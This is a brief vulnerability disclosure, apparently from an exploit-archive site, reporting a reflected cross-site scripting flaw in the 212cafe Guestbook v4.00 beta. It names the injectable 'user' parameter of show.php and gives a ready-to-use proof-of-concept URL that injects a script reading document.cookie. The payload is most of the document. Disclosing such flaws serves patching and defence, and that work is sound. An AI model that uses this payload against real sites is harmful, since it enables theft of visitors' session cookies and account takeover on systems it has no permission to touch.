XSS in Guestbook ( v.4.00 beta )

Hello

Vulnerable : Guestbook ( By 212cafe.com )
Version: v.4.00 beta
Web : http://www.212cafe.com

Exploit :
http://www.example.com/guestbookv4.0/show.php?user=[XSS]

Example :
http://www.example.com/guestbookv4.0/show.php?user='><script>alert(document.cookie);</script>

Discoverey By Linux_Drox
www.LeZr.Com/vb

Best Regards ,